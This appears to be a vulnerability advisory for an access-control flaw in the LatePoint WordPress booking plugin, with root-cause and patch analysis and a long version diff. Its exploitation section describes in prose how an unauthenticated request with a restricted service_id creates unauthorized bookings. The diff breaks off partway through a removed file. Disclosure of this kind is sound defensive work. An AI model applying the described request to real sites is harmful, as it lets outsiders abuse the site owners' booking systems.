Published : July 1, 2026

CVE-2026-12657: LatePoint <= 5.6.2 Unauthenticated Insecure Direct Object Reference to Arbitrary Creation via 'service_id' Parameter PoC, Patch Analysis & Rule

Plugin latepoint
Severity Medium (CVSS 5.3)
CWE 639
Vulnerable Version 5.6.2
Patched Version 5.6.3
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12657:

This vulnerability allows unauthenticated attackers to create approved bookings for services that administrators have restricted to admin/agent-only access. Affecting LatePoint versions 5.6.2 and earlier, this IDOR vulnerability has a CVSS score of 5.3. Attackers can consume restricted appointment capacity and trigger unauthorized bookings.

Root Cause: The vulnerability stems from missing validation on the ‘service_id’ parameter. In lib/helpers/steps_helper.php, the set_presets() function (around line 1049) accepted the ‘selected_service’ parameter without verifying whether the service was hidden or restricted. The commented-out code in the patch (lines 1051-1054) reveals the intended fix: check if the service is active and not hidden before accepting the preset. Additionally, process_step_booking() (line 1682) lacked a hidden-service guard. The booking flow allowed arbitrary service_id values via both ‘params[booking][service_id]’ in steps__load_step and ‘presets[selected_service]’ in steps__start.

Exploitation: An unauthenticated attacker sends a POST request to the LatePoint AJAX endpoint (admin-ajax.php) with the action parameter set to either ‘steps__load_step’ or ‘steps__start’. The attacker includes a ‘service_id’ parameter referencing a service that should only be available to admins or agents. The request also includes basic booking parameters (customer name, email, time slot). The plugin processes this request without checking the current user’s permissions or the service’s visibility settings, resulting in an approved booking against the restricted service.

Patch Analysis: The patch addresses the issue at multiple points. In set_presets(), the patch comments out a validation check for hidden services, indicating the developers recognized the need to reject hidden services at the preset stage. In process_step_booking(), the patch adds a guard that checks if the selected service is hidden and returns a WP_Error if so. This ensures that even if a hidden service ID is submitted, the booking process will not proceed. The patch also adds nonce checks to several admin controllers (form_fields_controller.php, razorpay_connect_controller.php, stripe_connect_controller.php, wizard_controller.php) and updates helper files to pass nonces with AJAX requests.

Impact: Successful exploitation allows unauthenticated attackers to book appointments for services that should be restricted to administrators and agents. This consumes limited appointment capacity, denies legitimate admin/agent users access to those services, and creates unauthorized bookings that could lead to confusion, scheduling conflicts, and potential service abuse. The attacker does not need any authentication or special privileges.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/latepoint/blocks/build/book-button/index.asset.php
+++ b/latepoint/blocks/build/book-button/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '95be338c3b59bfcb5992');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '726fd945d15d002e9ba4');
--- a/latepoint/blocks/build/book-form/index.asset.php
+++ b/latepoint/blocks/build/book-form/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n'), 'version' => '79e174e6d3109daacdc5');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n'), 'version' => 'e20858903a3ccc791cb2');
--- a/latepoint/blocks/build/calendar/index.asset.php
+++ b/latepoint/blocks/build/calendar/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n'), 'version' => 'c4b5732492cf5bd52fa4');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n'), 'version' => '680993f12482fe87a034');
--- a/latepoint/blocks/build/customer-dashboard/index.asset.php
+++ b/latepoint/blocks/build/customer-dashboard/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-element'), 'version' => '33b6a428a617384d7197');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-element'), 'version' => 'e4f494ba44b3ef46bdde');
--- a/latepoint/blocks/build/customer-login/index.asset.php
+++ b/latepoint/blocks/build/customer-login/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-element'), 'version' => 'b7a63ba59fb4ba473459');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-element'), 'version' => 'db0a79e3d3d40dce9b07');
--- a/latepoint/blocks/build/list-of-resources/index.asset.php
+++ b/latepoint/blocks/build/list-of-resources/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '0cd215311772506d571c');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '96676eed537737402242');
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.6.2
+ * Version: 5.6.3
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,8 +29,8 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version    = '5.6.2';
-		public $db_version = '2.3.0';
+		public $version    = '5.6.3';
+		public $db_version = '2.3.1';


 		/**
--- a/latepoint/lib/controllers/form_fields_controller.php
+++ b/latepoint/lib/controllers/form_fields_controller.php
@@ -33,6 +33,7 @@
 		}

 		public function update_default_fields() {
+			$this->check_nonce( 'update_default_fields' );
 			$updated_fields = $this->params['default_fields'];
 			$default_fields = OsSettingsHelper::get_default_fields_for_customer();
 			$fields_to_save = [];
--- a/latepoint/lib/controllers/razorpay_connect_controller.php
+++ b/latepoint/lib/controllers/razorpay_connect_controller.php
@@ -233,6 +233,7 @@
 		}

 		public function disconnect_connect_account() {
+			$this->check_nonce( 'razorpay_disconnect_account' );
 			$env = $this->get_env_from_params();
 			try {
 				$account_id = OsRazorpayConnectHelper::get_connect_account_id( $env );
--- a/latepoint/lib/controllers/stripe_connect_controller.php
+++ b/latepoint/lib/controllers/stripe_connect_controller.php
@@ -144,6 +144,7 @@
 		}

 		public function disconnect_connect_account() {
+			$this->check_nonce( 'stripe_disconnect_account' );
 			$env = $this->get_env_from_params();
 			try {
 				$path     = 'server-tokens/' . OsStripeConnectHelper::get_server_token( $env ) . '/disconnect/';
--- a/latepoint/lib/controllers/wizard_controller.php
+++ b/latepoint/lib/controllers/wizard_controller.php
@@ -131,6 +131,7 @@
 		}

 		function next_step() {
+			$this->check_nonce( 'wizard_step' );
 			$this->show_prev_btn = true;
 			$this->show_next_btn = true;

@@ -176,6 +177,7 @@
 		}

 		function prev_step() {
+			$this->check_nonce( 'wizard_step' );

 			// For every back step there is next step.
 			$this->show_next_btn = true;
@@ -396,6 +398,7 @@
 		}

 		function skip_setup() {
+			$this->check_nonce( 'wizard_step' );
 			$current_step = isset( $this->params['current_step_code'] ) ? sanitize_text_field( $this->params['current_step_code'] ) : 'unknown';

 			$analytics                 = get_option( 'latepoint_onboarding_analytics', [] );
--- a/latepoint/lib/helpers/analytics_helper.php
+++ b/latepoint/lib/helpers/analytics_helper.php
@@ -26,8 +26,8 @@
 			require_once LATEPOINT_ABSPATH . 'lib/kit/bsf-analytics/class-bsf-analytics-loader.php';
 		}

-		if ( ! class_exists( 'Astra_Notices' ) ) {
-			require_once LATEPOINT_ABSPATH . 'lib/kit/astra-notices/class-astra-notices.php';
+		if ( ! class_exists( 'BSF_Admin_Notices' ) ) {
+			require_once LATEPOINT_ABSPATH . 'lib/kit/astra-notices/class-bsf-admin-notices.php';
 		}

 		$bsf_analytics = BSF_Analytics_Loader::get_instance();
--- a/latepoint/lib/helpers/booking_helper.php
+++ b/latepoint/lib/helpers/booking_helper.php
@@ -336,7 +336,7 @@
 							'end_time'   => ( $day->format( 'Y-m-d' ) < $block_end_datetime->format( 'Y-m-d' ) ) ? 24 * 60 : OsTimeHelper::convert_datetime_to_minutes( $block_end_datetime ),
 							'start_date' => $day->format( 'Y-m-d' ),
 							'end_date'   => $day->format( 'Y-m-d' ),
-						]
+						]
 					);
 				}
 			}
@@ -359,12 +359,12 @@
 									'end_time'   => 24 * 60,
 									'start_date' => $day->format( 'Y-m-d' ),
 									'end_date'   => $day->format( 'Y-m-d' ),
-								]
+								]
 							);
 						}
 					}
 				}
-			}
+			}
 		}

 		$grouped_blocked_periods = apply_filters( 'latepoint_blocked_periods_for_range', $grouped_blocked_periods, $filter );
@@ -448,7 +448,7 @@
 					[
 						'start_date >=' => $filter->date_from,
 						'start_date <=' => $filter->date_to,
-					]
+					]
 				);
 			} else {
 				# only start_date provided - means it's a specific date requested
@@ -510,7 +510,7 @@
 				'dtend'       => $booking->format_end_date_and_time_for_google(),
 				'summary'     => $booking_description,
 				'url'         => get_site_url(),
-			)
+			)
 		);

 		return $ics->to_string();
@@ -664,6 +664,18 @@
 			$bundles       = $bundles_model->should_be_active()->should_not_be_hidden()->get_results_as_models();
 		}

+		/**
+		 * Filters the list of bundles shown on the services step of the booking form.
+		 *
+		 * @since 5.6.3
+		 * @hook latepoint_booking_generate_bundles_folder
+		 *
+		 * @param {OsBundleModel[]} $bundles List of active, non-hidden bundles to be displayed
+		 *
+		 * @returns {OsBundleModel[]} Filtered list of bundles to display
+		 */
+		$bundles = apply_filters( 'latepoint_booking_generate_bundles_folder', $bundles );
+
 		if ( $bundles ) {
 			/**
 			 * Whether to skip the "Bundle & Save" folder header and render bundle
@@ -718,12 +730,34 @@
 					<?php } ?>
 				  </span>

-						<?php if ( $bundle->charge_amount > 0 ) { ?>
+						<?php if ( $bundle->price_min > 0 ) { ?>
 							<span class="os-item-price-w">
-				  <span class="os-item-price">
-							<?php echo esc_html( OsMoneyHelper::format_price( $bundle->charge_amount ) ); ?>
-				  </span>
-				</span>
+								<span class="os-item-price">
+								<?php
+								/**
+								 * Filters the display price value shown on the bundle tile on a booking form
+								 *
+								 * @since 5.1.94
+								 * @hook latepoint_booking_form_display_bundle_price
+								 *
+								 * @param {string} $price displayed price that will be outputted
+								 * @param {OsBundleModel} $bundle Bundle that the price is displayed for
+								 *
+								 * @returns {string} Filtered displayed price
+								 */
+								$display_price = apply_filters( 'latepoint_booking_form_display_bundle_price', $bundle->price_min_formatted, $bundle );
+								echo esc_html( $display_price ); ?>
+								</span>
+								<?php if ( $bundle->price_min != $bundle->price_max ) { ?>
+									<span class="os-item-price-label"><?php esc_html_e( 'Starts From', 'latepoint' ); ?></span>
+								<?php } ?>
+							</span>
+						<?php } elseif ( $bundle->charge_amount > 0 ) { ?>
+							<span class="os-item-price-w">
+								<span class="os-item-price">
+									<?php echo esc_html( OsMoneyHelper::format_price( $bundle->charge_amount ) ); ?>
+								</span>
+							</span>
 						<?php } ?>
 						</div>
 					</div>
@@ -835,7 +869,7 @@
 									' NOT IN' => $settings['show_service_categories_arr'],
 								],
 							],
-						]
+						]
 					);
 				}
 			}
@@ -938,8 +972,8 @@
 	}

 	public static function group_booking_btn_html( $booking_id = false ) {
-		$html = 'data-os-params="' . esc_attr( http_build_query( [ 'booking_id' => $booking_id ] ) ) . '"
-                  data-os-action="' . esc_attr( OsRouterHelper::build_route_name( 'bookings', 'grouped_bookings_quick_view' ) ) . '"
+		$html = 'data-os-params="' . esc_attr( http_build_query( [ 'booking_id' => $booking_id ] ) ) . '"
+                  data-os-action="' . esc_attr( OsRouterHelper::build_route_name( 'bookings', 'grouped_bookings_quick_view' ) ) . '"
                   data-os-output-target="lightbox"
                   data-os-lightbox-classes="width-500"
                   data-os-after-call="latepoint_init_grouped_bookings_form"';
@@ -955,8 +989,8 @@
 		$route = OsRouterHelper::build_route_name( 'orders', 'quick_edit' );

 		$params_str = http_build_query( $params );
-		$html       = 'data-os-params="' . esc_attr( $params_str ) . '"
-    data-os-action="' . esc_attr( $route ) . '"
+		$html       = 'data-os-params="' . esc_attr( $params_str ) . '"
+    data-os-action="' . esc_attr( $route ) . '"
     data-os-output-target="side-panel"
     data-os-after-call="latepoint_init_quick_order_form"';

@@ -1520,7 +1554,7 @@
 			[
 				'created_at >=' => $date_from->format( 'Y-m-d' ),
 				'created_at <=' => $date_to->format( 'Y-m-d' ),
-			]
+			]
 		)->count();
 	}

@@ -1553,7 +1587,7 @@
 			[
 				'start_date >='  => $date_from,
 				'start_date <= ' => $date_to,
-			]
+			]
 		);

 		if ( $filter->service_id ) {
@@ -1587,7 +1621,7 @@
 					[
 						'start_date >=' => $date_from,
 						'start_date <=' => $date_to,
-					]
+					]
 				)
 				 ->where( [ 'status NOT IN' => OsCalendarHelper::get_booking_statuses_hidden_from_calendar() ] );
 		if ( $filter->service_id ) {
@@ -1952,7 +1986,7 @@
 						'theme'       => 'bordered',
 						'style'       => 'width: 60px;',
 						'class'       => 'os-table-filter',
-					]
+					]
 				) . '</th>';

 			case 'service':
@@ -1964,7 +1998,7 @@
 					[
 						'placeholder' => __( 'All Services', 'latepoint' ),
 						'class'       => 'os-table-filter',
-					]
+					]
 				) . '</th>';

 			case 'datetime':
@@ -1996,7 +2030,7 @@
 					[
 						'placeholder' => __( 'Show All', 'latepoint' ),
 						'class'       => 'os-table-filter',
-					]
+					]
 				) . '</th>';

 			case 'agent':
@@ -2008,7 +2042,7 @@
 					[
 						'placeholder' => __( 'All Agents', 'latepoint' ),
 						'class'       => 'os-table-filter',
-					]
+					]
 				) . '</th>';

 			case 'location':
@@ -2020,7 +2054,7 @@
 					[
 						'placeholder' => __( 'All Locations', 'latepoint' ),
 						'class'       => 'os-table-filter',
-					]
+					]
 				) . '</th>';

 			case 'customer':
@@ -2032,7 +2066,7 @@
 						'class'       => 'os-table-filter',
 						'theme'       => 'bordered',
 						'placeholder' => __( 'Search by Customer', 'latepoint' ),
-					]
+					]
 				) . '</th>';

 			case 'status':
@@ -2044,7 +2078,7 @@
 					[
 						'placeholder' => __( 'Show All', 'latepoint' ),
 						'class'       => 'os-table-filter',
-					]
+					]
 				) . '</th>';

 			case 'payment_status':
@@ -2056,7 +2090,7 @@
 					[
 						'placeholder' => __( 'Show All', 'latepoint' ),
 						'class'       => 'os-table-filter',
-					]
+					]
 				) . '</th>';

 			case 'created_on':
@@ -2096,7 +2130,7 @@
 						'class'       => 'os-table-filter',
 						'theme'       => 'bordered',
 						'placeholder' => $extra_label,
-					]
+					]
 				) . '</th>';
 		}
 	}
@@ -2154,8 +2188,8 @@
 							[
 								'agent_id'   => $booking->agent_id,
 								'booking_id' => $booking->id,
-							]
-						)
+							]
+						)
 					) . '">' .
 					'<i class="latepoint-icon latepoint-icon-more-horizontal"></i>' .
 					'</div>' .
@@ -2177,8 +2211,8 @@
 							[
 								'customer_id' => $booking->customer_id,
 								'booking_id'  => $booking->id,
-							]
-						)
+							]
+						)
 					) . '">' .
 					'<i class="latepoint-icon latepoint-icon-more-horizontal"></i>' .
 					'</div>' .
--- a/latepoint/lib/helpers/database_helper.php
+++ b/latepoint/lib/helpers/database_helper.php
@@ -661,6 +661,8 @@
       short_description text,
       charge_amount decimal(20,4),
       deposit_amount decimal(20,4),
+      price_min decimal(20,4),
+      price_max decimal(20,4),
       status varchar(20) NOT NULL,
       visibility varchar(20) NOT NULL,
       order_number int(11),
--- a/latepoint/lib/helpers/razorpay_connect_helper.php
+++ b/latepoint/lib/helpers/razorpay_connect_helper.php
@@ -466,7 +466,7 @@
 										data-os-pass-this="yes"
 			                data-os-before-after="none"
 			                data-os-after-call="latepointRazorpayConnectAdmin.reload_connect_status_wrapper"
-			                data-os-params="' . esc_attr( OsUtilHelper::build_os_params( [ 'env' => $env ] ) ) . '"
+			                data-os-params="' . esc_attr( OsUtilHelper::build_os_params( [ 'env' => $env ], 'razorpay_disconnect_account' ) ) . '"
 										data-os-action="' . OsRouterHelper::build_route_name( 'razorpay_connect', 'disconnect_connect_account' ) . '"
 										><i class="latepoint-icon latepoint-icon-x"></i><span>' . __( 'disconnect', 'latepoint' ) . '</span></a>';
 			if ( $charges_enabled ) {
--- a/latepoint/lib/helpers/settings_helper.php
+++ b/latepoint/lib/helpers/settings_helper.php
@@ -865,6 +865,7 @@
 		?>
 		<div class="os-default-fields" data-route="<?php echo esc_attr( OsRouterHelper::build_route_name( 'form_fields', 'update_default_fields' ) ); ?>">
 			<form>
+				<?php wp_nonce_field( 'update_default_fields' ); ?>
 				<?php foreach ( $default_fields as $name => $default_field ) {
 					$atts = [];
 					?>
--- a/latepoint/lib/helpers/steps_helper.php
+++ b/latepoint/lib/helpers/steps_helper.php
@@ -1046,9 +1046,13 @@
 			self::$presets['selected_agent'] = $presets['selected_agent'];
 		}

-		// preselected service
+		// preselected service — reject hidden services so they can never be preset-selected
 		if ( isset( $presets['selected_service'] ) && is_numeric( $presets['selected_service'] ) ) {
 			self::$presets['selected_service'] = $presets['selected_service'];
+			// $preset_service = new OsServiceModel( $presets['selected_service'] );
+			// if ( $preset_service->id && $preset_service->is_active() && ! $preset_service->is_hidden() ) {
+			// 	self::$presets['selected_service'] = $presets['selected_service'];
+			// }
 		}

 		// preselected bundle
@@ -1092,7 +1096,8 @@
 		 * @hook latepoint_set_presets
 		 *
 		 */
-		return apply_filters( 'latepoint_set_presets', self::$presets, $presets );
+		self::$presets = apply_filters( 'latepoint_set_presets', self::$presets, $presets );
+		return self::$presets;
 	}


@@ -1184,6 +1189,21 @@
 				self::$customer_object = OsAuthHelper::get_logged_in_customer();
 			}
 		}
+
+		/**
+		 * Filters the customer object after it has been set from submitted params or session.
+		 * Addons may use this hook to pre-populate empty fields (e.g. from URL parameters)
+		 * without overriding values already present on the object.
+		 *
+		 * @param {OsCustomerModel} $customer_object The customer object.
+		 * @param {array}           $customer_params The raw customer params used to build the object.
+		 *
+		 * @returns {OsCustomerModel} Filtered customer object.
+		 * @since 5.2.0
+		 * @hook latepoint_set_customer_object
+		 *
+		 */
+		self::$customer_object = apply_filters( 'latepoint_set_customer_object', self::$customer_object, $customer_params );
 		return self::$customer_object;
 	}

@@ -1679,6 +1699,21 @@

 	public static function process_step_booking() {

+		// A hidden service must never advance through any booking step.
+		// This runs before every booking__* sub-step (services, locations, agents, datepicker).
+		if ( ! empty( self::$booking_object->service_id ) ) {
+			$service = ( self::$booking_object->service instanceof OsServiceModel && self::$booking_object->service->id )
+				? self::$booking_object->service
+				: new OsServiceModel( self::$booking_object->service_id );
+			if ( $service->id && $service->is_hidden() ) {
+				return new WP_Error(
+					'service_not_available',
+					__( 'Selected service is not available.', 'latepoint' ),
+					[ 'send_to_step' => 'booking__services' ]
+				);
+			}
+		}
+
 		if ( ! self::is_bundle_scheduling() ) {
 			// check if we are processing the last step of a booking sequence
 			$booking_steps = [];
@@ -1708,6 +1743,7 @@
 	// SERVICES

 	public static function process_step_booking__services() {
+		// Hidden-service guard runs in the parent process_step_booking() before every booking__* sub-step.
 	}

 	public static function prepare_step_booking__services() {
--- a/latepoint/lib/helpers/stripe_connect_helper.php
+++ b/latepoint/lib/helpers/stripe_connect_helper.php
@@ -437,7 +437,7 @@
 										data-os-pass-this="yes"
 		                data-os-before-after="none"
 		                data-os-after-call="latepointStripeConnectAdmin.reload_connect_status_wrapper"
-		                data-os-params="' . OsUtilHelper::build_os_params( [ 'env' => $env ] ) . '"
+		                data-os-params="' . esc_attr( OsUtilHelper::build_os_params( [ 'env' => $env ], 'stripe_disconnect_account' ) ) . '"
 										data-os-action="' . OsRouterHelper::build_route_name( 'stripe_connect', 'disconnect_connect_account' ) . '"
 										><i class="latepoint-icon latepoint-icon-x"></i><span>' . __( 'disconnect', 'latepoint' ) . '</span></a>';
 			if ( $charges_enabled ) {
--- a/latepoint/lib/kit/astra-notices/class-astra-notices.php
+++ b/latepoint/lib/kit/astra-notices/class-astra-notices.php
@@ -1,417 +0,0 @@
-<?php
-/**
- * Astra Notices
- *
- * An easy to use PHP Library to add dismissible admin notices in the WordPress admin.
- *
- * @package Astra Notices
- * @since 1.0.0
- */
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly.
-}
-
-if ( ! class_exists( 'Astra_Notices' ) ) :
-
-	/**
-	 * Astra_Notices
-	 *
-	 * @since 1.0.0
-	 */
-	class Astra_Notices {
-
-		/**
-		 * Notices
-		 *
-		 * @access private
-		 * @var array Notices.
-		 * @since 1.0.0
-		 */
-		private static $version = '1.1.16';
-
-		/**
-		 * Notices
-		 *
-		 * @access private
-		 * @var array Notices.
-		 * @since 1.0.0
-		 */
-		private static $notices = array();
-
-		/**
-		 * Instance
-		 *
-		 * @access private
-		 * @var object Class object.
-		 * @since 1.0.0
-		 */
-		private static $instance;
-
-		/**
-		 * Initiator
-		 *
-		 * @since 1.0.0
-		 * @return object initialized object of class.
-		 */
-		public static function get_instance() {
-			if ( ! isset( self::$instance ) ) {
-				self::$instance = new self();
-			}
-			return self::$instance;
-		}
-
-		/**
-		 * Constructor
-		 *
-		 * @since 1.0.0
-		 */
-		public function __construct() {
-			add_action( 'admin_notices', array( $this, 'show_notices' ), 30 );
-			add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
-			add_action( 'wp_ajax_astra-notice-dismiss', array( $this, 'dismiss_notice' ) );
-			add_filter( 'wp_kses_allowed_html', array( $this, 'add_data_attributes' ), 10, 2 );
-		}
-
-		/**
-		 * Filters and Returns a list of allowed tags and attributes for a given context.
-		 *
-		 * @param array  $allowedposttags array of allowed tags.
-		 * @param string $context Context type (explicit).
-		 * @since 1.0.0
-		 * @return array
-		 */
-		public function add_data_attributes( $allowedposttags, $context ) { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed
-			$allowedposttags['a']['data-repeat-notice-after'] = true;
-
-			return $allowedposttags;
-		}
-
-		/**
-		 * Add Notice.
-		 *
-		 * @since 1.0.0
-		 * @param array $args Notice arguments.
-		 * @return void
-		 */
-		public static function add_notice( $args = array() ) {
-			self::$notices[] = $args;
-
-			if ( ! isset( $args['id'] ) ) {
-				return;
-			}
-
-			$notice_id = sanitize_key( $args['id'] ); // Notice ID.
-			$notices   = get_option( 'allowed_astra_notices', array() );
-			if ( ! in_array( $notice_id, $notices, true ) ) {
-				$notices[] = $notice_id; // Add notice id to the array.
-				update_option( 'allowed_astra_notices', $notices ); // Update the option.
-			}
-		}
-
-		/**
-		 * Dismiss Notice.
-		 *
-		 * @since 1.0.0
-		 * @return void
-		 */
-		public function dismiss_notice() {
-			check_ajax_referer( 'astra-notices', 'nonce' );
-
-			$notice_id           = ( isset( $_POST['notice_id'] ) ) ? sanitize_key( wp_unslash( $_POST['notice_id'] ) ) : '';
-			$repeat_notice_after = ( isset( $_POST['repeat_notice_after'] ) ) ? absint( $_POST['repeat_notice_after'] ) : '';
-			$notice              = $this->get_notice_by_id( $notice_id );
-			$capability          = isset( $notice['capability'] ) ? $notice['capability'] : 'manage_options';
-
-			if ( ! apply_filters( 'astra_notices_user_cap_check', current_user_can( $capability ) ) ) {
-				return;
-			}
-
-			$allowed_notices = get_option( 'allowed_astra_notices', array() ); // Get allowed notices.
-
-			// Define restricted user meta keys.
-			$wp_default_meta_keys = array(
-				'wp_capabilities',
-				'wp_user_level',
-				'wp_user-settings',
-				'account_status',
-				'session_tokens',
-			);
-
-			// if $notice_id does not start with astra-notices-id and notice_id is not from the allowed notices, then return.
-			if ( strpos( $notice_id, 'astra-notices-id-' ) !== 0 && ( ! in_array( $notice_id, $allowed_notices, true ) ) ) {
-				return;
-			}
-
-			// Valid inputs?
-			if ( ! empty( $notice_id ) ) {
-
-				if ( in_array( $notice_id, $wp_default_meta_keys, true ) ) {
-					wp_send_json_error( esc_html__( 'Invalid notice ID.', 'astra-notices' ) );
-				}
-
-				if ( ! empty( $repeat_notice_after ) ) {
-					set_transient( $notice_id, true, $repeat_notice_after );
-				} else {
-					update_user_meta( get_current_user_id(), $notice_id, 'notice-dismissed' );
-				}
-
-				wp_send_json_success();
-			}
-
-			wp_send_json_error();
-		}
-
-		/**
-		 * Enqueue Scripts.
-		 *
-		 * @since 1.0.0
-		 * @return void
-		 */
-		public function enqueue_scripts() {
-			wp_register_style( 'astra-notices', self::get_url() . 'notices.css', array(), self::$version );
-			wp_register_script( 'astra-notices', self::get_url() . 'notices.js', array( 'jquery' ), self::$version, true );
-			wp_localize_script(
-				'astra-notices',
-				'astraNotices',
-				array(
-					'_notice_nonce' => wp_create_nonce( 'astra-notices' ),
-				)
-			);
-		}
-
-		/**
-		 * Sort the notices based on the given priority of the notice.
-		 * This function is called from usort()
-		 *
-		 * @since 1.5.2
-		 * @param array $notice_1 First notice.
-		 * @param array $notice_2 Second Notice.
-		 * @return array
-		 */
-		public function sort_notices( $notice_1, $notice_2 ) {
-			if ( ! isset( $notice_1['priority'] ) ) {
-				$notice_1['priority'] = 10;
-			}
-			if ( ! isset( $notice_2['priority'] ) ) {
-				$notice_2['priority'] = 10;
-			}
-
-			return $notice_1['priority'] - $notice_2['priority'];
-		}
-
-		/**
-		 * Get all registered notices.
-		 * Since v1.1.8 it is recommended to register the notices on
-		 *
-		 * @return array|null
-		 */
-		private function get_notices() {
-			usort( self::$notices, array( $this, 'sort_notices' ) );
-
-			return self::$notices;
-		}
-
-		/**
-		 * Get notice by notice_id
-		 *
-		 * @param string $notice_id Notice id.
-		 *
-		 * @return array notice based on the notice id.
-		 */
-		private function get_notice_by_id( $notice_id ) {
-			if ( empty( $notice_id ) ) {
-				return array();
-			}
-
-			$notices = $this->get_notices();
-			$notice  = wp_list_filter(
-				$notices,
-				array(
-					'id' => $notice_id,
-				)
-			);
-
-			return ( ! empty( $notice ) && isset( $notice[0] ) ) ? $notice[0] : array();
-		}
-
-		/**
-		 * Display the notices in the WordPress admin.
-		 *
-		 * @since 1.0.0
-		 * @return void
-		 */
-		public function show_notices() {
-			$defaults = array(
-				'id'                         => '',      // Optional, Notice ID. If empty it set `astra-notices-id-<$array-index>`.
-				'type'                       => 'info',  // Optional, Notice type. Default `info`. Expected [info, warning, notice, error].
-				'message'                    => '',      // Optional, Message.
-				'show_if'                    => true,    // Optional, Show notice on custom condition. E.g. 'show_if' => if( is_admin() ) ? true, false, .
-				'repeat-notice-after'        => '',      // Optional, Dismiss-able notice time. It'll auto show after given time.
-				'display-notice-after'       => false,      // Optional, Dismiss-able notice time. It'll auto show after given time.
-				'class'                      => '',      // Optional, Additional notice wrapper class.
-				'priority'                   => 10,      // Priority of the notice.
-				'display-with-other-notices' => true,    // Should the notice be displayed if other notices  are being displayed from Astra_Notices.
-				'is_dismissible'             => true,
-				'capability'                 => 'manage_options', // User capability - This capability is required for the current user to see this notice.
-			);
-
-			// Count for the notices that are rendered.
-			$notices_displayed = 0;
-			$notices           = $this->get_notices();
-
-			foreach ( $notices as $key => $notice ) {
-				$notice = wp_parse_args( $notice, $defaults );
-
-				// Show notices only for users with `manage_options` cap.
-				if ( ! current_user_can( $notice['capability'] ) ) {
-					continue;
-				}
-
-				$notice['id']      = self::get_notice_id( $notice, $key );
-				$notice['classes'] = self::get_wrap_classes( $notice );
-
-				// Notices visible after transient expire.
-				if ( isset( $notice['show_if'] ) && true === $notice['show_if'] ) {
-
-					// don't display the notice if it is not supposed to be displayed with other notices.
-					if ( 0 !== $notices_displayed && false === $notice['display-with-other-notices'] ) {
-						continue;
-					}
-
-					if ( self::is_expired( $notice ) ) {
-
-						self::markup( $notice );
-						++$notices_displayed;
-					}
-				}
-			}
-		}
-
-		/**
-		 * Render a notice.
-		 *
-		 * @since 1.0.0
-		 * @param  array $notice Notice markup.
-		 * @return void
-		 */
-		public static function markup( $notice = array() ) {
-			wp_enqueue_script( 'astra-notices' );
-			wp_enqueue_style( 'astra-notices' );
-
-			do_action( 'astra_notice_before_markup' );
-
-			do_action( "astra_notice_before_markup_{$notice['id']}" );
-
-			?>
-			<div id="<?php echo esc_attr( $notice['id'] ); ?>" class="<?php echo 'astra-notice-wrapper ' . esc_attr( $notice['classes'] ); ?>" data-repeat-notice-after="<?php echo esc_attr( $notice['repeat-notice-after'] ); ?>">
-				<div class="astra-notice-container">
-					<?php do_action( "astra_notice_inside_markup_{$notice['id']}" ); ?>
-					<?php echo wp_kses_post( $notice['message'] ); ?>
-				</div>
-			</div>
-			<?php
-
-			do_action( "astra_notice_after_markup_{$notice['id']}" );
-
-			do_action( 'astra_notice_after_markup' );
-		}
-
-		/**
-		 * Get wrapper classes for a notice.
-		 *
-		 * @since 1.0.0
-		 *
-		 * @param  array $notice Notice arguments.
-		 * @return array       Notice wrapper classes.
-		 */
-		private static function get_wrap_classes( $notice ) {
-			$classes = array( 'astra-notice', 'notice' );
-
-			if ( $notice['is_dismissible'] ) {
-				$classes[] = 'is-dismissible';
-			}
-
-			$classes[] = $notice['class'];
-			if ( isset( $notice['type'] ) && '' !== $notice['type'] ) {
-				$classes[] = 'notice-' . $notice['type'];
-			}
-
-			return esc_attr( implode( ' ', $classes ) );
-		}
-
-		/**
-		 * Get HTML ID for a given notice.
-		 *
-		 * @since 1.0.0
-		 *
-		 * @param  array $notice Notice arguments.
-		 * @param  int   $key    Notice array index.
-		 * @return string HTML if for the notice.
-		 */
-		private static function get_notice_id( $notice, $key ) {
-			if ( isset( $notice['id'] ) && ! empty( $notice['id'] ) ) {
-				return $notice['id'];
-			}
-
-			return 'astra-notices-id-' . $key;
-		}
-
-		/**
-		 * Check if the notice is expires.
-		 *
-		 * @since 1.0.0
-		 *
